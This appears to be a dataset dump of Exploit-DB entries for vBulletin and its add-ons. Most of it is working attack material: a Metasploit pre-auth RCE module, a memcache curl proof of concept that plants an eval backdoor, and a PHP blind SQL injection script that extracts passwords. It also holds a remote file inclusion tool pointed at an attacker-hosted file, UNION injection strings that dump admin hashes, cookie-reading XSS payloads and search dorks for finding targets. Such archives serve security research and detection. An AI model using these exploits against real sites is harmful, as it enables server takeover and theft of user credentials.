deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47437
Description: vBulletin 5.x - Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2019-09-30
Author: r00tpgp

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
 super(update_info(info,
                   'Name'           => 'vBulletin 5.x 0day pre-quth RCE exploit',
      'Description'    => %q{
        vBulletin 5.x 0day pre-auth RCE exploit.
        This should work on all versions from 5.0.0 till 5.5.4
      },
      'Platform'       => 'php',
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Reported by: anonymous',  # reported by
          'Original exploit by: anonymous',  # original exploit
          'Metasploit mod by: r00tpgp',  # metasploit module
      ],
      'Payload'        =>
        {
          'BadChars'    => "\x22",
        },
      'References'     =>
        [
          ['CVE', 'CVE-2019-16759'],
          ['EDB', 'NA'],
          ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759']
        ],
      'Arch'           => ARCH_PHP,
      'Targets'        => [
          [ 'Automatic Targeting', { 'auto' => true }  ],
      #    ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
      #    ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
      ],
      'DisclosureDate' => 'Sep 23 2019',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
        ])

  end

    def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
      'encode_params' => false,
      'vars_post'     => 
      {
        'widgetConfig[code]'  => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;",
      }
     })

     if res && res.body && res.body.include?('h4x0000r4l1f4')
       return Exploit::CheckCode::Vulnerable
     end

     Exploit::CheckCode::Safe
  end

    def exploit
      print_status("Sending payload.....")
      resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
      'encode_params' => false,
      'vars_post'     =>
      {
        #'widgetConfig[code]'  => "echo " + payload.encoded + "exit;",
	 'widgetConfig[code]'  => payload.encoded,
      }
     })
      #unless resp and resp.code == 200
      # fail_with(Failure::Unknown, "Exploit failed.")
      #end

      #print_good("Success!")
      #print_line(resp.body)

   end
end
Exploit-DB #43803
Description: vBulletin < 3.0.0 RC4 - Cross Site Scripting
Type: webapps
Platform: php
Date: 2004-03-15
Author: GulfTech Security

Exploit:
vBulletin Cross Site Scripting

Vendor: Jelsoft Enterprises
Product: vBulletin
Version: <= 3.0.0 RC4
Website: http://www.vbulletin.com/

BID: [PII_REDACTED] 9943 

Description:
vBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL back-end database, vBulletin is the ideal community solution for all medium-to-large sites. 

Problem:
JelSoft vBulletin is prone to attack in six different files (maybe more) The files affected are "showthread.php", "forumdisplay.php", "private.php" and also the "memberlist.php" file. The "memberlist.php" and "private.php" files does not seem to be prone to the same attack I am about to talk about in versions three and later. The type of XSS that takes place though on vBulletin is what I would call a higher risk XSS issue. What I mean by that is alot of times slashes will be added to certain characters, or certain strings/characters disallowed, but in vBulletin you can eneter pretty much anything and have it execute sucessfully. This makes it a whole lot easier for an attacker to use these vulnerabilities to disclose a users information. Below are examples of the issues I have talked about here. Remember, the "memberlist.php" and "private.php" issues only seems to affect versions prior to 3.0, but the others affect all versions. 

showthread.php?t=[VID]&page=[INT][XSS]
forumdisplay.php?f=[VID]&page=[INT]&sort=lastpost&order=[XSS]
private.php?&action=newmessage&userid=[UID]&forward=[XSS]
memberlist.php?action=getall&what=[XSS]<r=&perpage=25&orderby=username
admincp/index.php?vb_login_username=[XSS]
modcp/index.php?vb_login_username=[XSS] 

Solution:
JelSoft were notified and there will probably be a release of a patch or update to resolve these issues. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #37815
Description: vBulletin < 4.2.2 - Memcache Remote Code Execution
Type: webapps
Platform: php
Date: 2015-08-18
Author: Joshua Rogers

Exploit:
vBulletin's memcache setting is vulnerable in certain versions(all
before 4.2.2) to an RCE. vBulletin seem to have refused to classify it
as a vulnerability or post anything about it, or put anything in the
announcements on their website. They say "PL2 (4.2.2) should prevent the
use of localhost," however that doesn't help people using previous
versions(which they appear to support with patches, still.)
They also haven't updated previous versions of vBulletin for this bug,
despite it being reported that it works on versions prior to 4.2.2.

Of course though, the most important thing is, they haven't announced
there even is/was a vulnerability in any version.


Anyways, here it is:

Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4
The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.

On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.

Proof-of-Concept using cURL:
—
$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_[CREDENTIAL_REDACTED]' --data 'do=updateprofilepic&securitytoken=[PII_REDACTED]-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
—

This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:
—
HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close

—
This will cause the Memcached to update the `pluginlist` to contain the malicious code.

Furthermore, the remote upload happily follows all kinds of redirects if provided with an appropriate Location header.
Exploit-DB #33621
Description: vBulletin Adsense Component - 'viewpage.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-09
Author: JIKO

Exploit:
source: https://www.securityfocus.com/bid/38167/info

The vBulletin Adsense component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/vb/viewpage.php?do=show&id=-1%20union%20select%200,2,3--
Exploit-DB #10828
Description: vBulletin ads_saed 1.5 - 'bnnr.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: Hussin X

Exploit:
vBulletin ads_saed 1.5 (bnnr.php) SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com<http://www.IQ-TY.com>

Mail : darkangel_G85@yahoo.com<mailto:darkangel_G85@yahoo.com>
___________________________________

## script name : ads_saed

## d0rk : inurl:"vb/bnnr.php"

## Example :


Go to url : http://server/vb/bnnr.php<http://target.com/vb/bnnr.php>

Exploit in the input "user name" blind injection

user name = ' ORDER BY 15/*

user name = ' ORDER BY 16/*

Now go to Source page  :  " Unknown column '16' in 'order clause'"


exploit :

user name =
' UNION SELECT 1,2,3,4,5,4,7,8,9,10,11,12,13,14,15 FROM user where+userid=1/*



# Solution : See here

http://www.traidnt.net/vb/showthread.php?t=1102593

or update new Product



End

IQ-SecuritY FoRuM
Exploit-DB #26734
Description: vBulletin Advanced User Tagging Mod - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-10
Author: []0iZy5

Exploit:
##########################################################################################
#
# Exploit Title: Advanced User Tagging vBulletin - Stored XSS Vulnerability
# Google Dork: intext:usertag_pro
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Software Link: http://www.dragonbyte-tech.com/vbecommerce.php?productid=20&do=product
# Version: vBulletin 3.8.x, vBulletin 4.x.x 
# Tested on: Linux & Windows
#
##########################################################################################
#
# Stage 1: Go to -> UserCP -> Hash Tag Subscriptions 
# (Direct Link:) http://127.0.0.1/[path]/usertag.php?do=profile&action=hashsubscription
#
# Stage 2: Add a malicious hash tag.
# (Example:) "><script>alert(document.cookie)</script>
#
##########################################################################################
#
# This was written for educational purpose only. use it at your own risk. 
# Author will be not responsible for any damage caused! user assumes all responsibility.  
# Intended for authorized web application pentesting only! 
#
##########################################################################################
Exploit-DB #38113
Description: vBulletin ajaxReg Module - SQL Injection
Type: webapps
Platform: php
Date: 2012-12-08
Author: Cold Zero

Exploit:
source: https://www.securityfocus.com/bid/56877/info

The ajaxReg module for vBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/php
<?

# vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit
# https://www.example.com/-4HcW64E57CI/ULWN9mDnK8I/AAAAAAAAABo/cc0UA9eV_ak/s640/11-26-2012%25206-02-5s3%2520AM.png
# livedemo : http://www.example.com/watch?v=LlKaYyJxH7E
# check it : http://www.example.com/vBulletin/clientscript/register.js

function usage ()
{
    echo
        "\n[+] vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit".
        "\n[+] Author: Cold z3ro".
        "\n[+] Site  : http://www.example.com | www.example.com".
        "\n[+] vandor: http://www.example.com/forum/showthread.php?t=144869".
        "\n[+] Usage : php 0day.php <hostname> <path> [userid] [key]".
        "\n[+] Ex.   : php 0day.php www.example.com /vBulletin/ 1 abcdefghijklmnopqrstuvwxyz".
        "\n[+] Note. : Its a 0day exploit\n\n";
    exit ();
}
 
function check ($hostname, $path, $field, $pos, $usid, $char)
{
    $char = ord ($char);
    $inj = 'ajax.php?do=CheckUsername&param=';
  $inj.= 
"admin'+and+ascii(substring((SELECT/**/{$field}/**/from/**/user/**/where/**/userid={$usid}),{$pos},1))={$char}/*";
  $culr = $hostname.$path.$inj;
  $curl = curl_init();
  curl_setopt ($curl, CURLOPT_URL, $culr );
  curl_setopt($curl, CURLOPT_HEADER, 1);
  curl_setopt($curl, CURLOPT_VERBOSE, 0);
    ob_start();
    curl_exec ($curl);
    curl_close ($curl);
    $con = ob_get_contents();
    ob_end_clean();
  if(eregi('Invalid',$con))
      return true;
    else
        return false;
}
 
 
function brutechar ($hostname, $path, $field, $usid, $key)
{
    $pos = 1;
    $chr = 0;
    while ($chr < strlen ($key))
    {
        if (check ($hostname, $path, $field, $pos, $usid, $key [$chr]))
        {
            echo $key [$chr];
            $chr = -1;
            $pos++;
        }
        $chr++;
    }
}
 
 
if (count ($argv) != 4)
    usage ();
 
$hostname = $argv [1];
$path = $argv [2];
$usid = $argv [3];
$key = $argv [4];
if (empty ($key))
    $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]";
 
echo "[+] Username: ";
brutechar ($hostname, $path, "username", $usid, $key);
echo "\n[+] Password: ";
brutechar ($hostname, $path, "password", $usid, $key);
echo "\n[+] Done..";
echo "\n[+] It's not fake, its real.";
# word to 1337day.com, stop scaming me

?>
Exploit-DB #11871
Description: vBulletin Blog 4.0.2 - Title Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-24
Author: FormatXformat

Exploit:
Vbulletin Blog 4.0.2 XSS Vulnerability

Author: FormatXformat
Version: Vbulletin 4.0.2


Dork:
Powered by vBulletin™  Version 4.0.2 Copyright © 2010 vBulletin Solutions, Inc. All rights reserved.


The script is affected by Permanent XSS vulnerability, so you can put in bad java script code

<script>alert('put this script in title')</script>
<meta http-equiv='Refresh' content='0;URL=http://db-exploit.com'>

1st register

Go to Blogs page

Create New Post

Inject your java script into Title Box

You must go back to Main page to see this XSS effect.



Greets: Neo, Sa3id, All Tkurd.net Members
Exploit-DB #22429
Description: vBulletin ChangUonDyU Advanced Statistics - SQL Injection
Type: webapps
Platform: php
Date: 2012-11-02
Author: Juno_okyo

Exploit:
# Exploit Title: vBulletin ChangUonDyU Advanced Statistics - SQL Injection
Vulnerability
# Google Dork: No Dork
# Date: 19/10/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://hoiquantinhoc.com
# Software Link:
http://hoiquantinhoc.com/modifications-3-8-x/4468-changuondyu-advanced-statistics-6-0-1-a.html
# Version: vBulletin 3 & 4
# Tested on: Windows 7
# CVE : http://www.vbulletin.com/
#
##############################################################################################
Vulnerability:
##############################################################################################

SQL Injection was found in ChangUonDyU Advanced Statistics.

Query on ajax.php

##############################################################################################
Exploitation:
##############################################################################################

ajax.php?do=inforum&listforumid=100) UNION SELECT
1,concat_ws(0x7c,user(),database(),version()),3,4,5,6,7,8,9,10-- -&result=20

or:

ajax.php?do=inforum&listforumid=100) UNION SELECT
1,2,3,4,5,6,concat_ws(0x7c,username,password,salt),8,9,10,11 from user
where userid=1-- -&result=20

##############################################################################################
Ex:
##############################################################################################

http://server/f/ajax.php?do=inforum&listforumid=100%29%20UNION%20SELECT%201,concat_ws%280x7c,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10--%20-&result=20


##############################################################################################
More Details:
##############################################################################################

Website: http://junookyo.blogspot.com/
About Exploit:
http://junookyo.blogspot.com/2012/10/vbb-changuondyu-advanced-statistics-sql.html

##############################################################################################
Great thanks to James, Juno_okyo & J2TeaM, VNHack Group
##############################################################################################
Exploit-DB #1668
Description: vBulletin ImpEx 1.74 - Remote Command Execution
Type: webapps
Platform: php
Date: 2006-04-13
Author: ReZEN

Exploit:
<?php
/*
vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/impex/ImpExData.php?systempath=
hurl:http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" 
value=\"".$turl."\"><br>"
     ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" 
value=\"".$hurl."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" 
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>

# milw0rm.com [2006-04-13]
Exploit-DB #4166
Description: vBulletin Mod RPG Inferno 2.4 - 'inferno.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-10
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                   RPG Inferno v2.4 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://infernotechnologies.net/
DORK: intext:"RPG Inferno is not available to guests" or intext:"Battle Ground Â· Clans Â· Store Â· Jobs Â· Auction Â· Spells Shop Â· Statistics Â· Member List"


DESCRIPTION: SQL Injection in ID of inferno.php a mod for vBulletin, able to retrieve admin hash/salt.

EXPLOIT: 
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*

NOTE: You'll need to be logged into the forum to access inferno.php. Increment the
limit to get the next admin (ie: [limit 0,1] [limit 1,1] [limit 2,1] etc).


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                   RPG Inferno v2.4 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-10]
Exploit-DB #8965
Description: vBulletin Radio and TV Player AddOn - HTML Injection
Type: webapps
Platform: php
Date: 2009-06-15
Author: d3v1l

Exploit:
vBulletin Radio and TV Player Add-On (all version) - XSS , Iframe injection and Redirect Vulnerability 

About:- 

Radio and TV Add-on will add a radio and TV library to your forum.

Features:- 

- Users can add / delete / edit own stations

For more info about this plugin See - http://www.vbulletin.org/forum/showthread.php?t=152037&page=2 

Note:-  
 
- To exploit this Bug need to be registred!and after you are registered you can add new radio station
  where name station can be "><script>alert(String.fromCharCode(88,83,83))</script>  
  and URL "><script>alert(String.fromCharCode(88,83,83))</script>
 

Poc: XSS 

http://www.musicadigitale.net/forum/radioandtv.php?station=92 
 
Poc: Iframe 
 
http://www.musicadigitale.net/forum/radioandtv.php?station=93 
 
Poc: Redirect 
 
http://www.musicadigitale.net/forum/radioandtv.php?station=94

dorks:- inurl:radioandtv.php 

Bug founded by d3v1l [Avram Marius] 
 
Date: 14.06.2009 

# milw0rm.com [2009-06-15]
Exploit-DB #7385
Description: vBulletin Secure Downloads 2.0.0r - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-08
Author: Cnaph

Exploit:
[~] vBulletin (Mode Secure Downloads v2.0.0r) SQL Injection Vulnerability

[~] Mod : http://www.1src.com/freeware/download.php?id=1880

[~] Author : Cn4phux

[~] PoC :

 

[~] URL.com/fileinfo.php?id=[SQL]


[~] : 1797'+AND(0)+UNION+SELECT+1,1,1,1,1,'Cn4phux',0,0,0,1,0,1,0,0,0,0,0,USER(),DATABASE(),0,0,0,0,0,0,0+OR+'1'='0


//Cn4phux.

# milw0rm.com [2008-12-08]
Exploit-DB #33854
Description: vBulletin Two-Step External Link Module - 'externalredirect.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-20
Author: Edgard Chammas

Exploit:
source: https://www.securityfocus.com/bid/39597/info

Two-Step External Link module for vBulletin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/externalredirect.php?url=XSS
Exploit-DB #8784
Description: vBulletin vbBux/vbPlaza 2.x - 'vbplaza.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-05-26
Author: Cold Zero

Exploit:
--==+======================================================================================================================+==--
--==+                  vBulletin vbBux/vbPlaza <= 2.x (vbplaza.php) Remote Blind SQL Injection Vulnerability                +==--
--==+======================================================================================================================+==--

AUTHOR: Cold z3ro & Crck_Man
SITE: www.vbPlaza.com
DORK: inurl:"vbplaza.php?do=*"

DESCRIPTION: Blind SQL Injection in name of vbplaza.php a mod for vBulletin, able to retrieve admin hash

EXPLOIT: 
http://www.site.com/forum/vbplaza.php?do=item&name=bank'/**/and 58<ascii(substring((SELECT concat(password,0x3a,username) from user limit 0,1),33,1))/*

IE: ascii encodes
	58  => :
	48  => 0
	120 => x

NOTE: You'll need to be logged into the forum to exploit vbplaza.php. Increment the limit to get the next admin .


Copyrights : www.hackteach.org , www.h-t.cc

Greetz : www.hackteach.[org/net] , www.islam-attack.com , www.s3curi7y.com , www.xp10.biz , Friends 

# milw0rm.com [2009-05-26]